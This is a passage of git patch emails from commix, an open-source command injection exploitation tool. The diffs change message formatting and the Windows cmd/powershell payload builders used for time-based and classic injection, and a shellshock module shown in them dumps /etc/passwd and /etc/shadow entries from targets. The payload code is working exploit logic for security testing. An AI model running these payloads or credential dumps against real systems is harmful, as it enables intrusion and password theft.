+ fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 67b70d2cc4..b9614c161d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -260,11 +260,11 @@ def enumeration(url, cve, check_header, filename): else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -331,11 +331,11 @@ def enumeration(url, cve, check_header, filename): if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: diff --git a/src/utils/settings.py b/src/utils/settings.py index 989335bb4e..d8a92aa62d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,6 +20,7 @@ import random import string import codecs +from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -56,7 +57,7 @@ class HTTPMETHOD(object): ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " -SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL +SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL TRAFFIC_SIGN = HTTP_CONTENT_SIGN = "" ABORTION_SIGN = ERROR_SIGN DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " @@ -66,64 +67,77 @@ class HTTPMETHOD(object): REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ +def print_time(): + return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " + +# Print legal disclaimer message +def print_legal_disclaimer_msg(legal_disclaimer_msg): + result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL + return result + # Print error message def print_error_msg(err_msg): - result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL return result # Print error message def print_bold_error_msg(err_msg): - result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL + result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL return result # Print critical error message def print_critical_msg(err_msg): - result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL return result # Print abortion message def print_abort_msg(abort_msg): - result = ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL + result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL return result # Print warning message def print_warning_msg(warn_msg): - result = WARNING_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL return result # Print warning message def print_bold_warning_msg(warn_msg): - result = WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL return result -# Print legal disclaimer message -def print_legal_disclaimer_msg(legal_disclaimer_msg): - result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL - return result +# Print debug message (verbose mode) +def print_debug_msg(debug_msg): + result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL + return result + +# Print bold debug message (verbose mode) +def print_bold_debug_msg(debug_msg): + result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL + return result # Print request HTTP message def print_request_msg(req_msg): - result = REQUEST_SIGN + str(req_msg) + Style.RESET_ALL + result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL return result # Print response HTTP message def print_response_msg(resp_msg): - result = RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL + result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL return result # Print information message def print_info_msg(info_msg): - result = INFO_SIGN + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL return result # Print bold information message def print_bold_info_msg(info_msg): - result = INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL return result # Print payload (verbose mode) def print_payload(payload): - result = PAYLOAD_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL return result # Print HTTP traffic (verbose mode) @@ -159,16 +173,6 @@ def print_sub_content(sub_content): result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL return result -# Print debug message (verbose mode) -def print_debug_msg(debug_msg): - result = DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result - -# Print bold debug message (verbose mode) -def print_bold_debug_msg(debug_msg): - result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result - # Print output of command execution def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL @@ -230,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From af2f29d6f1b6d746c3eedcd4b79d11e9997172d6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 18 May 2022 07:21:52 +0300 Subject: [PATCH 0142/1023] Trivial updates --- src/core/injections/controller/checks.py | 4 +++- src/core/main.py | 23 ++++++++++++----------- src/core/requests/headers.py | 3 ++- src/utils/settings.py | 2 +- 4 files changed, 18 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3090764f7d..7ac67add2c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -144,6 +144,8 @@ def connection_exceptions(err_msg, url): if isinstance(url, str): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: + if len(_) == 0: + _ = " Skipping to the next target." error_msg = error_msg + _ if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) @@ -151,7 +153,7 @@ def connection_exceptions(err_msg, url): if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) if not settings.VALID_URL : - if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: + if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() """ diff --git a/src/core/main.py b/src/core/main.py index 32a1f4fb4a..8e7df4fdaa 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -788,12 +788,14 @@ def main(filename, url): main(filename, url) else: + output_href = [] # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + if os_checks_num == 0: + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() if not os.path.exists(bulkfile): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." @@ -815,7 +817,6 @@ def main(filename, url): # Check if option "--crawl" is enabled. if settings.CRAWLING and settings.IS_TTY: settings.CRAWLING_PHASE = True - output_href = [] url_num = 1 if not menu.options.bulkfile: crawling_list = 1 @@ -831,19 +832,19 @@ def main(filename, url): output_href = crawler.normalize_results(output_href) settings.CRAWLING_PHASE = False else: - output_href = [] filename = None if settings.IS_TTY: output_href = output_href + bulkfile - else: - info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) + else: + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) menu.options.batch = True bulkfile = sys.stdin settings.MULTI_TARGETS = True - for line in bulkfile: - if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): - output_href.append(line.rstrip()) + for url in bulkfile: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): + output_href.append(url.rstrip()) # Removing duplicates from list. clean_output_href = [] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 81ab7d39e2..0b3ba804fe 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -193,7 +193,8 @@ def https_open(self, req): if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: - checks.connection_exceptions(err_msg, url=request) + if not settings.INIT_TEST: + checks.connection_exceptions(err_msg, url=request) break try: diff --git a/src/utils/settings.py b/src/utils/settings.py index d8a92aa62d..dfc27cc035 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1ed6ba17ab35d668dfe487ba94b8c8d1a2b0c415 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 May 2022 07:44:24 +0300 Subject: [PATCH 0143/1023] Trivial fixes / updates --- .../techniques/time_based/tb_enumeration.py | 4 +- .../techniques/time_based/tb_payloads.py | 32 +++++++------- src/core/injections/controller/checks.py | 9 ++++ src/core/injections/controller/controller.py | 4 +- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/classic/cb_payloads.py | 8 ++-- .../techniques/eval_based/eb_enumeration.py | 4 +- .../techniques/eval_based/eb_payloads.py | 8 ++-- .../techniques/file_based/fb_enumeration.py | 4 +- .../techniques/file_based/fb_payloads.py | 6 +-- .../tempfile_based/tfb_enumeration.py | 4 +- .../techniques/tempfile_based/tfb_payloads.py | 44 +++++++++---------- src/core/modules/shellshock/shellshock.py | 8 ++-- src/core/requests/requests.py | 4 +- src/core/tamper/backslashes.py | 24 +++------- src/core/tamper/backticks.py | 2 +- src/core/tamper/caret.py | 26 +++-------- src/core/tamper/dollaratsigns.py | 24 +++------- src/core/tamper/doublequotes.py | 34 +++++--------- src/core/tamper/nested.py | 23 ++-------- src/core/tamper/singlequotes.py | 24 +++------- src/core/tamper/slash2env.py | 27 +++--------- src/core/tamper/sleep2timeout.py | 18 ++++---- src/core/tamper/sleep2usleep.py | 24 ++++------ src/core/tamper/space2ifs.py | 13 ++---- src/core/tamper/space2plus.py | 4 +- src/core/tamper/space2vtab.py | 7 +-- src/core/tamper/uninitializedvariable.py | 26 +++-------- src/utils/settings.py | 30 ++++++++++++- 29 files changed, 182 insertions(+), 267 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 4117841b91..25356a7de4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -145,14 +145,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 5dab6f2186..aedfcc8710 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -28,7 +28,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" ) @@ -37,7 +37,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" ) @@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\"" if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(output_length) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(output_length) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -181,7 +181,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -191,7 +191,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(output_length) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(output_length) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(output_length) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" ) @@ -341,7 +341,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" ) @@ -417,7 +417,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" if separator == "||" : payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -428,7 +428,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -492,7 +492,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -502,7 +502,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" +str(ascii_char)+ " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" @@ -559,7 +559,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if settings.TARGET_OS == "win": if separator == "||" : payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(ascii_char) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -570,7 +570,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" +str(ascii_char) + " " + "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7ac67add2c..d955cb27e2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1016,6 +1016,15 @@ def tamper_scripts(stored_tamper_scripts): settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + warn_msg = "" + if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." + elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." + elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: + warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping." + if len(warn_msg) != 0: + print(settings.print_warning_msg(warn_msg)) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4d280a102c..9e3d1fb35c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -342,7 +342,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - + checks.tamper_scripts(stored_tamper_scripts=False) + info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" @@ -362,7 +363,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index dc75d4a03e..6b9cf1826e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -162,14 +162,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 4bd50efe03..ab791c2c11 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -31,7 +31,7 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p = " + TAG + "%i" + TAG + TAG + "< nul" ) @@ -84,7 +84,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) @@ -114,7 +114,7 @@ def cmd_execution(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + "< nul" ) @@ -152,7 +152,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('" + + "for /f \"tokens=*\" %i in ('" + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p =%i< nul" ) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 0b2bfb403f..b835b7724b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -161,14 +161,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f42196492c..91f5da7cd6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -40,7 +40,7 @@ def decision(separator, TAG, randv1, randv2): else: if separator == "": payload = ("print(`echo 